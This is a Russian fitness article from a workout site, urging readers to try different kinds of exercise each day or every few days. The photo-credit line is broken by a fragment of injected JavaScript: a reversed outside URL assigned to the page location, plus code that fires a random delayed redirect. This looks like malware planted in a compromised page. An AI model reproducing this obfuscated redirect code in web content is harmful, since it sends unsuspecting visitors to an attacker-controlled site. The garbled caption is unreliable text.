Челлендж дня: пробуйте разные виды фитнеса каждый день

Или через день. Периодичность, как и виды спорта, выбирайте сами. Мы расскажем, почему это хороший способ полюбить фитнес.

Челлендж дня: пробуйте разные виды фитнеса каждый день. Изображение номер 1

Фото: shutterstoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tock.com

Заниматься одними и теми же физическими нагрузками может просто надоесть. Если помимо прочего вы стремитесь изменить свою фигуру (накачать мышцы или похудеть), то здесь тоже важны разные тренировки. Тело привыкает к однообразным занятиям и прекращает на них реагировать — прогресса не будет. Всё это может вогнать в тоску, вызвать эмоциональное выгорание и закончиться ненавистью к спорту. Для того чтобы вы могли постоянно получать удовольствие и результат от занятий, мы рекомендуем заниматься разными видами нагрузок.

Для начала решите, какие виды фитнеса или спорта вас вообще привлекают — может, вы никогда ими не занимались, но всегда хотели попробовать. Нужно начать именно с того, что вас интересует, чтобы любовь снова не сменилась на ненависть. Допустим, вам нравится плавание, TRX и бокс. Вы можете ежедневно (через день, через два дня) менять нагрузку: чередовать силовое занятие с кардио. Или заниматься одним видом спорта в течение одной недели, вторым — в течение второй, третьим… ну, вы поняли. Так вы сможете лучше понять, понравились вам такие занятия или нет, стоят они потраченного времени или нет. Сделав выводы, продолжайте экспериментировать с другими занятиями. Наверняка есть много того, чего вы ещё не пробовали: футбол, танцы, сайклинг, пилатес, йога, стретчинг, боди-балет, аквааэробика, сёрфинг, катание на роликах или велосипеде, верховая езда, теннис.

Вычеркните всё лишнее и выберите те виды физической активности, что вам нравятся, распределите их в своём расписании. Можно чередовать их традиционным способом — кардио/силовая, а можно так, как нравится и комфортно именно вам. Главное — не мучайте себя и занимайтесь в удовольствие.

Статьи по теме

Челлендж дня: каждый день записывайте, за что вы благодарны сегодня

Челлендж дня: носите с собой многоразовую бутылку с водой

Челлендж дня: очистите цифровую жизнь от хлама

Челлендж дня: готовьте обеды заранее и носите с собой на работу

Оцените статью
Дежурная Качалка
Добавить комментарии

;-) :| :x :twisted: :smile: :shock: :sad: :roll: :razz: :oops: :o :mrgreen: :lol: :idea: :grin: :evil: :cry: :cool: :arrow: :???: :?: :!:

Adblock
detector